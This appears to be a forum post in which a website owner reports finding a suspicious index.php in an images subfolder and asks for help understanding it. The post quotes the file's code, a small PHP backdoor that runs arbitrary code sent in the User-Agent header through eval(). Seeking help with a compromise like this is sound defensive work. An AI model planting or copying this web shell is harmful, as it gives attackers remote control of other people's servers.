I'm searching for your help today to get some help about a file I founded in my FTP this morning. I'm not a professionnal in all those PHP functions so this is why I post it here.
The thing I found was a file named index.php in a sub-images folder.
There is the raw code :
<?php
if (eregi("final",$_SERVER['HTTP_USER_AGENT'])) { eval(str_replace('Mozilla/5.0 (3.1.final) ','',$_SERVER['HTTP_USER_AGENT'])); die; }
?>
The two PHP functions
- eregi(); -> http://php.net/manual/en/function.eregi.php
- eval(); -> http://php.net/manual/en/function.eval.php
For the function eval() they are saying that it is very dangerous.
Caution The eval() language construct is very dangerous because it allows execution of arbitrary PHP code. Its use thus is discouraged. If you have carefully verified that there is no other option than to use this construct, pay special attention not to pass any user provided data into it without properly validating it beforehand.
This is why I think it might be an attempt from some one to hack my website or even more.
Any one has the capability to decode this and explain it to me?
Thx,